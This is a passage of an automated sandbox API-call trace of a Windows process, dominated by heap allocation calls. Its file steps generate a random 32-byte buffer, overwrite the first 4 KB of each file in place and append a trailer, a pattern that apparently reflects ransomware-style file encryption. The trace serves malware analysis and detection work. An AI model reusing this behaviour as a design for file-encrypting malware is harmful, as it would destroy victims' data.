lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.369] SetFilePointerEx (in: hFile=0x7d4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.369] WriteFile (in: hFile=0x7d4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.369] GetProcessHeap () returned 0x540000 [0080.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.369] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.370] GetProcessHeap () returned 0x540000 [0080.370] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.371] GetProcessHeap () returned 0x540000 [0080.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.371] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.372] GetProcessHeap () returned 0x540000 [0080.372] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.373] GetProcessHeap () returned 0x540000 [0080.373] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.373] GetProcessHeap () returned 0x540000 [0080.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.374] SetFilePointerEx (in: hFile=0x7d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.374] WriteFile (in: hFile=0x7d4, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.374] WriteFile (in: hFile=0x7d4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.374] GetProcessHeap () returned 0x540000 [0080.374] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.374] CloseHandle (hObject=0x7d4) returned 1 [0080.376] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 24 [0080.376] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.376] ReadFile (in: hFile=0x7d8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.376] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.376] GetProcessHeap () returned 0x540000 [0080.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.376] GetProcessHeap () returned 0x540000 [0080.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.376] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.376] GetProcessHeap () returned 0x540000 [0080.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.376] ReadFile (in: hFile=0x7d8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.434] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.434] WriteFile (in: hFile=0x7d8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.434] GetProcessHeap () returned 0x540000 [0080.434] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.435] GetProcessHeap () returned 0x540000 [0080.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.436] GetProcessHeap () returned 0x540000 [0080.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.437] GetProcessHeap () returned 0x540000 [0080.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.437] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.438] GetProcessHeap () returned 0x540000 [0080.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.439] GetProcessHeap () returned 0x540000 [0080.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.439] SetFilePointerEx (in: hFile=0x7d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.439] WriteFile (in: hFile=0x7d8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, 